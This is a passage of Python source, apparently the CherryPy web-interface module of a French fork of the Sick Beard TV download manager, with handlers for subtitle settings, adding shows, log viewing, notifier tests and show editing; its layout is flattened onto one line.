if len(results) > 0: for x in results: logger.log(x, logger.ERROR) ui.notifications.error('Error(s) Saving Configuration', '<br />\n'.join(results)) else: ui.notifications.message('Configuration Saved', ek.ek(os.path.join, sickbeard.CONFIG_FILE) ) redirect("/config/notifications/") class ConfigSubtitles: @cherrypy.expose def index(self): t = PageTemplate(file="config_subtitles.tmpl") t.submenu = ConfigMenu return _munge(t) @cherrypy.expose def saveSubtitles(self, use_subtitles=None, subsnewasold=None, subtitles_plugins=None, subtitles_languages=None, subtitles_dir=None, subtitles_dir_sub=None, subsnolang = None, service_order=None, subtitles_history=None, subtitles_clean_hi=None, subtitles_clean_team=None, subtitles_clean_music=None, subtitles_clean_punc=None): results = [] if use_subtitles == "on": use_subtitles = 1 if sickbeard.subtitlesFinderScheduler.thread == None or not sickbeard.subtitlesFinderScheduler.thread.isAlive(): sickbeard.subtitlesFinderScheduler.initThread() else: use_subtitles = 0 sickbeard.subtitlesFinderScheduler.abort = True logger.log(u"Waiting for the SUBTITLESFINDER thread to exit") try: sickbeard.subtitlesFinderScheduler.thread.join(5) except: pass if subtitles_history == "on": subtitles_history = 1 else: subtitles_history = 0 if subtitles_dir_sub == "on": subtitles_dir_sub = 1 else: subtitles_dir_sub = 0 if subsnewasold == "on": subsnewasold = 1 else: subsnewasold = 0 if subsnolang == "on": subsnolang = 1 else: subsnolang = 0 sickbeard.USE_SUBTITLES = use_subtitles sickbeard.SUBSNEWASOLD = subsnewasold sickbeard.SUBTITLES_LANGUAGES = [lang.alpha2 for lang in subtitles.isValidLanguage(subtitles_languages.replace(' ', '').split(','))] if subtitles_languages != '' else '' sickbeard.SUBTITLES_DIR = subtitles_dir sickbeard.SUBTITLES_DIR_SUB = subtitles_dir_sub sickbeard.SUBSNOLANG = subsnolang sickbeard.SUBTITLES_HISTORY = subtitles_history # Subtitles services services_str_list = service_order.split() subtitles_services_list = [] subtitles_services_enabled = [] for curServiceStr in services_str_list: curService, curEnabled = curServiceStr.split(':') subtitles_services_list.append(curService) subtitles_services_enabled.append(int(curEnabled)) sickbeard.SUBTITLES_SERVICES_LIST = subtitles_services_list sickbeard.SUBTITLES_SERVICES_ENABLED = subtitles_services_enabled #Subtitles Cleansing if subtitles_clean_hi == "on": subtitles_clean_hi = 1 else: subtitles_clean_hi = 0 if subtitles_clean_team == "on": subtitles_clean_team = 1 else: subtitles_clean_team = 0 if subtitles_clean_music == "on": subtitles_clean_music = 1 else: subtitles_clean_music = 0 if subtitles_clean_punc == "on": subtitles_clean_punc = 1 else: subtitles_clean_punc = 0 sickbeard.SUBTITLES_CLEAN_HI = subtitles_clean_hi sickbeard.SUBTITLES_CLEAN_TEAM = subtitles_clean_team sickbeard.SUBTITLES_CLEAN_MUSIC = subtitles_clean_music sickbeard.SUBTITLES_CLEAN_PUNC = subtitles_clean_punc sickbeard.save_config() if len(results) > 0: for x in results: logger.log(x, logger.ERROR) ui.notifications.error('Error(s) Saving Configuration', '<br />\n'.join(results)) else: ui.notifications.message('Configuration Saved', ek.ek(os.path.join, sickbeard.CONFIG_FILE) ) redirect("/config/subtitles/") class Config: @cherrypy.expose def index(self): t = PageTemplate(file="config.tmpl") t.submenu = ConfigMenu return _munge(t) general = ConfigGeneral() search = ConfigSearch() postProcessing = ConfigPostProcessing() providers = ConfigProviders() notifications = ConfigNotifications() subtitles = ConfigSubtitles() def haveXBMC(): return sickbeard.USE_XBMC and sickbeard.XBMC_UPDATE_LIBRARY def havePLEX(): return sickbeard.USE_PLEX and sickbeard.PLEX_UPDATE_LIBRARY def HomeMenu(): return [ { 'title': 'Add Shows', 'path': 'home/addShows/', }, { 'title': 'Manual Post-Processing', 'path': 'home/postprocess/' }, { 'title': 'Update XBMC', 'path': 'home/updateXBMC/', 'requires': haveXBMC }, { 'title': 'Update Plex', 'path': 'home/updatePLEX/', 'requires': havePLEX }, { 'title': 'Update', 'path': 'manage/manageSearches/forceVersionCheck', 'confirm': True}, { 'title': 'Restart', 'path': 'home/restart/?pid='+str(sickbeard.PID), 'confirm': True }, { 'title': 'Shutdown', 'path': 'home/shutdown/?pid='+str(sickbeard.PID), 'confirm': True }, ] class HomePostProcess: @cherrypy.expose def index(self): t = PageTemplate(file="home_postprocess.tmpl") t.submenu = HomeMenu() return _munge(t) @cherrypy.expose def processEpisode(self, dir=None, nzbName=None, jobName=None, quiet=None): if not dir: redirect("/home/postprocess") else: result = processTV.processDir(dir, nzbName) if quiet != None and int(quiet) == 1: return result result = result.replace("\n","<br />\n") return _genericMessage("Postprocessing results", result) class NewHomeAddShows: @cherrypy.expose def index(self): t = PageTemplate(file="home_addShows.tmpl") t.submenu = HomeMenu() return _munge(t) @cherrypy.expose def getTVDBLanguages(self): result = tvdb_api.Tvdb().config['valid_languages'] # Make sure list is sorted alphabetically but 'fr' is in front if 'fr' in result: del result[result.index('fr')] result.sort() result.insert(0, 'fr') return json.dumps({'results': result}) @cherrypy.expose def sanitizeFileName(self, name): return helpers.sanitizeFileName(name) @cherrypy.expose def searchTVDBForShowName(self, name, lang="fr"): if not lang or lang == 'null': lang = "fr" baseURL = "http://thetvdb.com/api/GetSeries.php?" nameUTF8 = name.encode('utf-8') logger.log(u"Trying to find Show on thetvdb.com with: " + nameUTF8.decode('utf-8'), logger.DEBUG) # Use each word in the show's name as a possible search term keywords = nameUTF8.split(' ') # Insert the whole show's name as the first search term so best results are first # ex: keywords = ['Some Show Name', 'Some', 'Show', 'Name'] if len(keywords) > 1: keywords.insert(0, nameUTF8) # Query the TVDB for each search term and build the list of results results = [] for searchTerm in keywords: params = {'seriesname': searchTerm, 'language': lang} finalURL = baseURL + urllib.urlencode(params) logger.log(u"Searching for Show with searchterm: \'" + searchTerm.decode('utf-8') + u"\' on URL " + finalURL, logger.DEBUG) urlData = helpers.getURL(finalURL) if urlData is None: # When urlData is None, trouble connecting to TVDB, don't try the rest of the keywords logger.log(u"Unable to get URL: " + finalURL, logger.ERROR) break else: try: seriesXML = etree.ElementTree(etree.XML(urlData)) series = seriesXML.getiterator('Series') except Exception, e: # use finalURL in log, because urlData can be too much information logger.log(u"Unable to parse XML for some reason: " + ex(e) + " from XML: " + finalURL, logger.ERROR) series = '' # add each result to our list for curSeries in series: tvdb_id = int(curSeries.findtext('seriesid')) # don't add duplicates if tvdb_id in [x[0] for x in results]: continue results.append((tvdb_id, curSeries.findtext('SeriesName'), curSeries.findtext('FirstAired'))) lang_id = tvdb_api.Tvdb().config['langabbv_to_id'][lang] return json.dumps({'results': results, 'langid': lang_id}) @cherrypy.expose def massAddTable(self, rootDir=None): t = PageTemplate(file="home_massAddTable.tmpl") t.submenu = HomeMenu() myDB = db.DBConnection() if not rootDir: return "No folders selected." elif type(rootDir) != list: root_dirs = [rootDir] else: root_dirs = rootDir root_dirs = [urllib.unquote_plus(x) for x in root_dirs] default_index = int(sickbeard.ROOT_DIRS.split('|')[0]) if len(root_dirs) > default_index: tmp = root_dirs[default_index] if tmp in root_dirs: root_dirs.remove(tmp) root_dirs = [tmp]+root_dirs dir_list = [] for root_dir in root_dirs: try: file_list = ek.ek(os.listdir, root_dir) except: continue for cur_file in file_list: cur_path = ek.ek(os.path.normpath, ek.ek(os.path.join, root_dir, cur_file)) if not ek.ek(os.path.isdir, cur_path): continue cur_dir = { 'dir': cur_path, 'display_dir': '<b>'+ek.ek(os.path.dirname, cur_path)+os.sep+'</b>'+ek.ek(os.path.basename, cur_path), } # see if the folder is in XBMC already dirResults = myDB.select("SELECT * FROM tv_shows WHERE location = ?", [cur_path]) if dirResults: cur_dir['added_already'] = True else: cur_dir['added_already'] = False dir_list.append(cur_dir) tvdb_id = '' show_name = '' for cur_provider in sickbeard.metadata_provider_dict.values(): (tvdb_id, show_name) = cur_provider.retrieveShowMetadata(cur_path) if tvdb_id and show_name: break cur_dir['existing_info'] = (tvdb_id, show_name) if tvdb_id and helpers.findCertainShow(sickbeard.showList, tvdb_id): cur_dir['added_already'] = True t.dirList = dir_list return _munge(t) @cherrypy.expose def newShow(self, show_to_add=None, other_shows=None): """ Display the new show page which collects a tvdb id, folder, and extra options and posts them to addNewShow """ t = PageTemplate(file="home_newShow.tmpl") t.submenu = HomeMenu() show_dir, tvdb_id, show_name = self.split_extra_show(show_to_add) if tvdb_id and show_name: use_provided_info = True else: use_provided_info = False # tell the template whether we're giving it show name & TVDB ID t.use_provided_info = use_provided_info # use the given show_dir for the tvdb search if available if not show_dir: t.default_show_name = '' elif not show_name: t.default_show_name = ek.ek(os.path.basename, ek.ek(os.path.normpath, show_dir)).replace('.',' ') else: t.default_show_name = show_name # carry a list of other dirs if given if not other_shows: other_shows = [] elif type(other_shows) != list: other_shows = [other_shows] if use_provided_info: t.provided_tvdb_id = tvdb_id t.provided_tvdb_name = show_name t.provided_show_dir = show_dir t.other_shows = other_shows return _munge(t) @cherrypy.expose def addNewShow(self, whichSeries=None, tvdbLang="fr", rootDir=None, defaultStatus=None, anyQualities=None, bestQualities=None, flatten_folders=None, subtitles=None, fullShowPath=None, other_shows=None, skipShow=None, audio_lang=None): """ Receive tvdb id, dir, and other options and create a show from them. If extra show dirs are provided then it forwards back to newShow, if not it goes to /home. """ # grab our list of other dirs if given if not other_shows: other_shows = [] elif type(other_shows) != list: other_shows = [other_shows] def finishAddShow(): # if there are no extra shows then go home if not other_shows: redirect('/home') # peel off the next one next_show_dir = other_shows[0] rest_of_show_dirs = other_shows[1:] # go to add the next show return self.newShow(next_show_dir, rest_of_show_dirs) # if we're skipping then behave accordingly if skipShow: return finishAddShow() # sanity check on our inputs if (not rootDir and not fullShowPath) or not whichSeries: return "Missing params, no tvdb id or folder:"+repr(whichSeries)+" and "+repr(rootDir)+"/"+repr(fullShowPath) # figure out what show we're adding and where series_pieces = whichSeries.partition('|') if len(series_pieces) < 3: return "Error with show selection." tvdb_id = int(series_pieces[0]) show_name = series_pieces[2] # use the whole path if it's given, or else append the show name to the root dir to get the full show path if fullShowPath: show_dir = ek.ek(os.path.normpath, fullShowPath) else: show_dir = ek.ek(os.path.join, rootDir, helpers.sanitizeFileName(show_name)) # blanket policy - if the dir exists you should have used "add existing show" numbnuts if ek.ek(os.path.isdir, show_dir) and not fullShowPath: ui.notifications.error("Unable to add show", "Folder "+show_dir+" exists already") redirect('/home/addShows/existingShows') # don't create show dir if config says not to if sickbeard.ADD_SHOWS_WO_DIR: logger.log(u"Skipping initial creation of "+show_dir+" due to config.ini setting") else: dir_exists = helpers.makeDir(show_dir) if not dir_exists: logger.log(u"Unable to create the folder "+show_dir+", can't add the show", logger.ERROR) ui.notifications.error("Unable to add show", "Unable to create the folder "+show_dir+", can't add the show") redirect("/home") else: helpers.chmodAsParent(show_dir) # prepare the inputs for passing along if flatten_folders == "on": flatten_folders = 1 else: flatten_folders = 0 if subtitles == "on": subtitles = 1 else: subtitles = 0 if not anyQualities: anyQualities = [] if not bestQualities: bestQualities = [] if type(anyQualities) != list: anyQualities = [anyQualities] if type(bestQualities) != list: bestQualities = [bestQualities] newQuality = Quality.combineQualities(map(int, anyQualities), map(int, bestQualities)) # add the show sickbeard.showQueueScheduler.action.addShow(tvdb_id, show_dir, int(defaultStatus), newQuality, flatten_folders, tvdbLang, subtitles, audio_lang) #@UndefinedVariable ui.notifications.message('Show added', 'Adding the specified show into '+show_dir) return finishAddShow() @cherrypy.expose def existingShows(self): """ Prints out the page to add existing shows from a root dir """ t = PageTemplate(file="home_addExistingShow.tmpl") t.submenu = HomeMenu() return _munge(t) def split_extra_show(self, extra_show): if not extra_show: return (None, None, None) split_vals = extra_show.split('|') if len(split_vals) < 3: return (extra_show, None, None) show_dir = split_vals[0] tvdb_id = split_vals[1] show_name = '|'.join(split_vals[2:]) return (show_dir, tvdb_id, show_name) @cherrypy.expose def addExistingShows(self, shows_to_add=None, promptForSettings=None): """ Receives a dir list and add them. Adds the ones with given TVDB IDs first, then forwards along to the newShow page. """ # grab a list of other shows to add, if provided if not shows_to_add: shows_to_add = [] elif type(shows_to_add) != list: shows_to_add = [shows_to_add] shows_to_add = [urllib.unquote_plus(x) for x in shows_to_add] if promptForSettings == "on": promptForSettings = 1 else: promptForSettings = 0 tvdb_id_given = [] dirs_only = [] # separate all the ones with TVDB IDs for cur_dir in shows_to_add: if not '|' in cur_dir: dirs_only.append(cur_dir) else: show_dir, tvdb_id, show_name = self.split_extra_show(cur_dir) if not show_dir or not tvdb_id or not show_name: continue tvdb_id_given.append((show_dir, int(tvdb_id), show_name)) # if they want me to prompt for settings then I will just carry on to the newShow page if promptForSettings and shows_to_add: return self.newShow(shows_to_add[0], shows_to_add[1:]) # if they don't want me to prompt for settings then I can just add all the nfo shows now num_added = 0 for cur_show in tvdb_id_given: show_dir, tvdb_id, show_name = cur_show # add the show sickbeard.showQueueScheduler.action.addShow(tvdb_id, show_dir, int(sickbeard.STATUS_DEFAULT), sickbeard.QUALITY_DEFAULT, sickbeard.FLATTEN_FOLDERS_DEFAULT,"fr", sickbeard.SUBTITLES_DEFAULT, sickbeard.AUDIO_SHOW_DEFAULT) #@UndefinedVariable num_added += 1 if num_added: ui.notifications.message("Shows Added", "Automatically added "+str(num_added)+" from their existing metadata files") # if we're done then go home if not dirs_only: redirect('/home') # for the remaining shows we need to prompt for each one, so forward this on to the newShow page return self.newShow(dirs_only[0], dirs_only[1:]) ErrorLogsMenu = [ { 'title': 'Clear Errors', 'path': 'errorlogs/clearerrors' }, #{ 'title': 'View Log', 'path': 'errorlogs/viewlog' }, ] class ErrorLogs: @cherrypy.expose def index(self): t = PageTemplate(file="errorlogs.tmpl") t.submenu = ErrorLogsMenu return _munge(t) @cherrypy.expose def clearerrors(self): classes.ErrorViewer.clear() redirect("/errorlogs") @cherrypy.expose def viewlog(self, minLevel=logger.MESSAGE, maxLines=500): t = PageTemplate(file="viewlogs.tmpl") t.submenu = ErrorLogsMenu minLevel = int(minLevel) data = [] if os.path.isfile(logger.sb_log_instance.log_file): f = open(logger.sb_log_instance.log_file) data = f.readlines() f.close() regex = "^(\w+).?\-(\d\d)\s+(\d\d)\:(\d\d):(\d\d)\s+([A-Z]+)\s+(.*)$" finalData = [] numLines = 0 lastLine = False numToShow = min(maxLines, len(data)) for x in reversed(data): x = x.decode('utf-8') match = re.match(regex, x) if match: level = match.group(6) if level not in logger.reverseNames: lastLine = False continue if logger.reverseNames[level] >= minLevel: lastLine = True finalData.append(x) else: lastLine = False continue elif lastLine: finalData.append("AA"+x) numLines += 1 if numLines >= numToShow: break result = "".join(finalData) t.logLines = result t.minLevel = minLevel return _munge(t) class Home: @cherrypy.expose def is_alive(self, *args, **kwargs): if 'callback' in kwargs and '_' in kwargs: callback, _ = kwargs['callback'], kwargs['_'] else: return "Error: Unsupported Request. Send jsonp request with 'callback' variable in the query stiring." cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" cherrypy.response.headers['Content-Type'] = 'text/javascript' cherrypy.response.headers['Access-Control-Allow-Origin'] = '*' cherrypy.response.headers['Access-Control-Allow-Headers'] = 'x-requested-with' if sickbeard.started: return callback+'('+json.dumps({"msg": str(sickbeard.PID)})+');' else: return callback+'('+json.dumps({"msg": "nope"})+');' @cherrypy.expose def index(self): t = PageTemplate(file="home.tmpl") t.submenu = HomeMenu() return _munge(t) addShows = NewHomeAddShows() postprocess = HomePostProcess() @cherrypy.expose def testSABnzbd(self, host=None, username=None, password=None, apikey=None): if not host.endswith("/"): host = host + "/" connection, accesMsg = sab.getSabAccesMethod(host, username, password, apikey) if connection: authed, authMsg = sab.testAuthentication(host, username, password, apikey) #@UnusedVariable if authed: return "Success. Connected and authenticated" else: return "Authentication failed. SABnzbd expects '"+accesMsg+"' as authentication method" else: return "Unable to connect to host" @cherrypy.expose def testTorrent(self, torrent_method=None, host=None, username=None, password=None): if not host.endswith("/"): host = host + "/" client = clients.getClientIstance(torrent_method) connection, accesMsg = client(host, username, password).testAuthentication() return accesMsg @cherrypy.expose def testGrowl(self, host=None, password=None): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" result = notifiers.growl_notifier.test_notify(host, password) if password==None or password=='': pw_append = '' else: pw_append = " with password: " + password if result: return "Registered and Tested growl successfully "+urllib.unquote_plus(host)+pw_append else: return "Registration and Testing of growl failed "+urllib.unquote_plus(host)+pw_append @cherrypy.expose def testProwl(self, prowl_api=None, prowl_priority=0): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" result = notifiers.prowl_notifier.test_notify(prowl_api, prowl_priority) if result: return "Test prowl notice sent successfully" else: return "Test prowl notice failed" @cherrypy.expose def testBoxcar(self, username=None): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" result = notifiers.boxcar_notifier.test_notify(username) if result: return "Boxcar notification succeeded. Check your Boxcar clients to make sure it worked" else: return "Error sending Boxcar notification" @cherrypy.expose def testPushover(self, userKey=None): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" result = notifiers.pushover_notifier.test_notify(userKey) if result: return "Pushover notification succeeded. Check your Pushover clients to make sure it worked" else: return "Error sending Pushover notification" @cherrypy.expose def twitterStep1(self): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" return notifiers.twitter_notifier._get_authorization() @cherrypy.expose def twitterStep2(self, key): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" result = notifiers.twitter_notifier._get_credentials(key) logger.log(u"result: "+str(result)) if result: return "Key verification successful" else: return "Unable to verify key" @cherrypy.expose def testTwitter(self): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" result = notifiers.twitter_notifier.test_notify() if result: return "Tweet successful, check your twitter to make sure it worked" else: return "Error sending tweet" @cherrypy.expose def testXBMC(self, host=None, username=None, password=None): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" finalResult = '' for curHost in [x.strip() for x in host.split(",")]: curResult = notifiers.xbmc_notifier.test_notify(urllib.unquote_plus(curHost), username, password) if len(curResult.split(":")) > 2 and 'OK' in curResult.split(":")[2]: finalResult += "Test XBMC notice sent successfully to " + urllib.unquote_plus(curHost) else: finalResult += "Test XBMC notice failed to " + urllib.unquote_plus(curHost) finalResult += "<br />\n" return finalResult @cherrypy.expose def testPLEX(self, host=None, username=None, password=None): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" finalResult = '' for curHost in [x.strip() for x in host.split(",")]: curResult = notifiers.plex_notifier.test_notify(urllib.unquote_plus(curHost), username, password) if len(curResult.split(":")) > 2 and 'OK' in curResult.split(":")[2]: finalResult += "Test Plex notice sent successfully to " + urllib.unquote_plus(curHost) else: finalResult += "Test Plex notice failed to " + urllib.unquote_plus(curHost) finalResult += "<br />\n" return finalResult @cherrypy.expose def testLibnotify(self): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" if notifiers.libnotify_notifier.test_notify(): return "Tried sending desktop notification via libnotify" else: return notifiers.libnotify.diagnose() @cherrypy.expose def testNMJ(self, host=None, database=None, mount=None): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" result = notifiers.nmj_notifier.test_notify(urllib.unquote_plus(host), database, mount) if result: return "Successfull started the scan update" else: return "Test failed to start the scan update" @cherrypy.expose def settingsNMJ(self, host=None): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" result = notifiers.nmj_notifier.notify_settings(urllib.unquote_plus(host)) if result: return '{"message": "Got settings from %(host)s", "database": "%(database)s", "mount": "%(mount)s"}' % {"host": host, "database": sickbeard.NMJ_DATABASE, "mount": sickbeard.NMJ_MOUNT} else: return '{"message": "Failed! Make sure your Popcorn is on and NMJ is running. (see Log & Errors -> Debug for detailed info)", "database": "", "mount": ""}' @cherrypy.expose def testNMJv2(self, host=None): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" result = notifiers.nmjv2_notifier.test_notify(urllib.unquote_plus(host)) if result: return "Test notice sent successfully to " + urllib.unquote_plus(host) else: return "Test notice failed to " + urllib.unquote_plus(host) @cherrypy.expose def settingsNMJv2(self, host=None, dbloc=None, instance=None): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" result = notifiers.nmjv2_notifier.notify_settings(urllib.unquote_plus(host), dbloc, instance) if result: return '{"message": "NMJ Database found at: %(host)s", "database": "%(database)s"}' % {"host": host, "database": sickbeard.NMJv2_DATABASE} else: return '{"message": "Unable to find NMJ Database at location: %(dbloc)s. Is the right location selected and PCH running?", "database": ""}' % {"dbloc": dbloc} @cherrypy.expose def testTrakt(self, api=None, username=None, password=None): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" result = notifiers.trakt_notifier.test_notify(api, username, password) if result: return "Test notice sent successfully to Trakt" else: return "Test notice failed to Trakt" @cherrypy.expose def testMail(self, mail_from=None, mail_to=None, mail_server=None, mail_ssl=None, mail_user=None, mail_password=None): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" result = notifiers.mail_notifier.test_notify(mail_from, mail_to, mail_server, mail_ssl, mail_user, mail_password) if result: return "Mail sent" else: return "Can't sent mail." @cherrypy.expose def testNMA(self, nma_api=None, nma_priority=0): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" result = notifiers.nma_notifier.test_notify(nma_api, nma_priority) if result: return "Test NMA notice sent successfully" else: return "Test NMA notice failed" @cherrypy.expose def testPushalot(self, authorizationToken=None): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" result = notifiers.pushalot_notifier.test_notify(authorizationToken) if result: return "Pushalot notification succeeded. Check your Pushalot clients to make sure it worked" else: return "Error sending Pushalot notification" @cherrypy.expose def testPushbullet(self, api=None): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" result = notifiers.pushbullet_notifier.test_notify(api) if result: return "Pushbullet notification succeeded. Check your device to make sure it worked" else: return "Error sending Pushbullet notification" @cherrypy.expose def getPushbulletDevices(self, api=None): cherrypy.response.headers['Cache-Control'] = "max-age=0,no-cache,no-store" result = notifiers.pushbullet_notifier.get_devices(api) if result: return result else: return "Error sending Pushbullet notification" @cherrypy.expose def shutdown(self, pid=None): if str(pid) != str(sickbeard.PID): redirect("/home") threading.Timer(2, sickbeard.invoke_shutdown).start() title = "Shutting down" message = "Sick Beard is shutting down..." return _genericMessage(title, message) @cherrypy.expose def restart(self, pid=None): if str(pid) != str(sickbeard.PID): redirect("/home") t = PageTemplate(file="restart.tmpl") t.submenu = HomeMenu() # do a soft restart threading.Timer(2, sickbeard.invoke_restart, [False]).start() return _munge(t) @cherrypy.expose def update(self, pid=None): if str(pid) != str(sickbeard.PID): redirect("/home") updated = sickbeard.versionCheckScheduler.action.update() #@UndefinedVariable if updated: # do a hard restart threading.Timer(2, sickbeard.invoke_restart, [False]).start() t = PageTemplate(file="restart_bare.tmpl") return _munge(t) else: return _genericMessage("Update Failed","Update wasn't successful, not restarting. Check your log for more information.") @cherrypy.expose def displayShow(self, show=None): if show == None: return _genericMessage("Error", "Invalid show ID") else: showObj = sickbeard.helpers.findCertainShow(sickbeard.showList, int(show)) if showObj == None: return _genericMessage("Error", "Show not in show list") showObj.exceptions = scene_exceptions.get_scene_exceptions(showObj.tvdbid) myDB = db.DBConnection() seasonResults = myDB.select( "SELECT DISTINCT season FROM tv_episodes WHERE showid = ? ORDER BY season desc", [showObj.tvdbid] ) sqlResults = myDB.select( "SELECT * FROM tv_episodes WHERE showid = ? ORDER BY season DESC, episode DESC", [showObj.tvdbid] ) t = PageTemplate(file="displayShow.tmpl") t.submenu = [ { 'title': 'Edit', 'path': 'home/editShow?show=%d'%showObj.tvdbid } ] try: t.showLoc = (showObj.location, True) except sickbeard.exceptions.ShowDirNotFoundException: t.showLoc = (showObj._location, False) show_message = '' if sickbeard.showQueueScheduler.action.isBeingAdded(showObj): #@UndefinedVariable show_message = 'This show is in the process of being downloaded from theTVDB.com - the info below is incomplete.' elif sickbeard.showQueueScheduler.action.isBeingUpdated(showObj): #@UndefinedVariable show_message = 'The information below is in the process of being updated.' elif sickbeard.showQueueScheduler.action.isBeingRefreshed(showObj): #@UndefinedVariable show_message = 'The episodes below are currently being refreshed from disk' elif sickbeard.showQueueScheduler.action.isBeingSubtitled(showObj): #@UndefinedVariable show_message = 'Currently downloading subtitles for this show' elif sickbeard.showQueueScheduler.action.isBeingCleanedSubtitle(showObj): #@UndefinedVariable show_message = 'Currently cleaning subtitles for this show' elif sickbeard.showQueueScheduler.action.isInRefreshQueue(showObj): #@UndefinedVariable show_message = 'This show is queued to be refreshed.' elif sickbeard.showQueueScheduler.action.isInUpdateQueue(showObj): #@UndefinedVariable show_message = 'This show is queued and awaiting an update.' elif sickbeard.showQueueScheduler.action.isInSubtitleQueue(showObj): #@UndefinedVariable show_message = 'This show is queued and awaiting subtitles download.' if not sickbeard.showQueueScheduler.action.isBeingAdded(showObj): #@UndefinedVariable if not sickbeard.showQueueScheduler.action.isBeingUpdated(showObj): #@UndefinedVariable t.submenu.append({ 'title': 'Delete', 'path': 'home/deleteShow?show=%d'%showObj.tvdbid, 'confirm': True }) t.submenu.append({ 'title': 'Re-scan files', 'path': 'home/refreshShow?show=%d'%showObj.tvdbid }) t.submenu.append({ 'title': 'Force Full Update', 'path': 'home/updateShow?show=%d&amp;force=1'%showObj.tvdbid }) t.submenu.append({ 'title': 'Update show in XBMC', 'path': 'home/updateXBMC?showName=%s'%urllib.quote_plus(showObj.name.encode('utf-8')), 'requires': haveXBMC }) t.submenu.append({ 'title': 'Preview Rename', 'path': 'home/testRename?show=%d'%showObj.tvdbid }) t.submenu.append({ 'title': 'French Search', 'path': 'home/frenchSearch?show=%d'%showObj.tvdbid }) if sickbeard.USE_SUBTITLES and not sickbeard.showQueueScheduler.action.isBeingSubtitled(showObj) and not sickbeard.showQueueScheduler.action.isBeingCleanedSubtitle(showObj) and showObj.subtitles: t.submenu.append({ 'title': 'Download Subtitles', 'path': 'home/subtitleShow?show=%d'%showObj.tvdbid }) t.submenu.append({ 'title': 'Clean Subtitles', 'path': 'home/subtitleShowClean?show=%d'%showObj.tvdbid }) t.show = showObj t.sqlResults = sqlResults t.seasonResults = seasonResults t.show_message = show_message epCounts = {} epCats = {} epCounts[Overview.SKIPPED] = 0 epCounts[Overview.WANTED] = 0 epCounts[Overview.QUAL] = 0 epCounts[Overview.GOOD] = 0 epCounts[Overview.UNAIRED] = 0 epCounts[Overview.SNATCHED] = 0 showSceneNumberColum = False for curResult in sqlResults: if not showSceneNumberColum and (isinstance(curResult["scene_season"], int) and isinstance(curResult["scene_episode"], int)): showSceneNumberColum = True curEpCat = showObj.getOverview(int(curResult["status"])) epCats[str(curResult["season"])+"x"+str(curResult["episode"])] = curEpCat epCounts[curEpCat] += 1 t.showSceneNumberColum = showSceneNumberColum def titler(x): if not x: return x if x.lower().startswith('a '): x = x[2:] elif x.lower().startswith('the '): x = x[4:] return x t.sortedShowList = sorted(sickbeard.showList, lambda x, y: cmp(titler(x.name), titler(y.name))) t.epCounts = epCounts t.epCats = epCats return _munge(t) @cherrypy.expose def plotDetails(self, show, season, episode): result = db.DBConnection().action("SELECT description FROM tv_episodes WHERE showid = ? AND season = ? AND episode = ?", (show, season, episode)).fetchone() return result['description'] if result else 'Episode not found.' @cherrypy.expose def editShow(self, show=None, location=None, anyQualities=[], bestQualities=[], exceptions_list=[], flatten_folders=None, paused=None, frenchsearch=None, directCall=False, air_by_date=None, tvdbLang=None, audio_lang=None, subtitles=None): if show == None: errString = "Invalid show ID: "+str(show) if directCall: return [errString] else: return _genericMessage("Error", errString) showObj = sickbeard.helpers.findCertainShow(sickbeard.showList, int(show)) if showObj == None: errString = "Unable to find the specified show: "+str(show) if directCall: return [errString] else: return _genericMessage("Error", errString) showObj.exceptions = scene_exceptions.get_scene_exceptions(showObj.tvdbid) if not location and not anyQualities and not bestQualities and not flatten_folders: t = PageTemplate(file="editShow.tmpl") t.submenu = HomeMenu() with showObj.lock: t.show = showObj return _munge(t) if flatten_folders == "on": flatten_folders = 1 else: flatten_folders = 0 logger.log(u"flatten folders: "+str(flatten_folders)) if paused == "on": paused = 1 else: paused = 0 if frenchsearch == "on": frenchsearch = 1 else: frenchsearch = 0 if air_by_date == "on": air_by_date = 1 else: air_by_date = 0 if subtitles == "on": subtitles = 1 else: subtitles = 0 if tvdbLang and tvdbLang in tvdb_api.Tvdb().config['valid_languages']: tvdb_lang = tvdbLang else: tvdb_lang = showObj.lang # if we changed the language then kick off an update if tvdb_lang == showObj.lang: do_update = False else: do_update = True if type(anyQualities) != list: anyQualities = [anyQualities] if type(bestQualities) != list: bestQualities = [bestQualities] if type(exceptions_list) != list: exceptions_list = [exceptions_list] #If directCall from mass_edit_update no scene exceptions handling if directCall: do_update_exceptions = False else: if set(exceptions_list) == set(showObj.exceptions): do_update_exceptions = False else: do_update_exceptions = True errors = [] with showObj.lock: newQuality = Quality.combineQualities(map(int, anyQualities), map(int, bestQualities)) showObj.quality = newQuality # reversed for now if bool(showObj.flatten_folders) != bool(flatten_folders): showObj.flatten_folders = flatten_folders try: sickbeard.showQueueScheduler.action.refreshShow(showObj) #@UndefinedVariable except exceptions.CantRefreshException, e: errors.append("Unable to refresh this show: "+ex(e)) showObj.paused = paused showObj.air_by_date = air_by_date showObj.subtitles = subtitles showObj.frenchsearch = frenchsearch showObj.lang = tvdb_lang showObj.audio_lang = audio_lang # if we change location clear the db of episodes, change it, write to db, and rescan if os.path.normpath(showObj._location) != os.path.normpath(location): logger.log(os.path.normpath(showObj._location)+" != "+os.path.normpath(location), logger.DEBUG) if not ek.ek(os.path.isdir, location): errors.append("New location <tt>%s</tt> does not exist" % location) # don't bother if we're going to update anyway elif not do_update: # change it try: showObj.location = location try: sickbeard.showQueueScheduler.action.refreshShow(showObj) 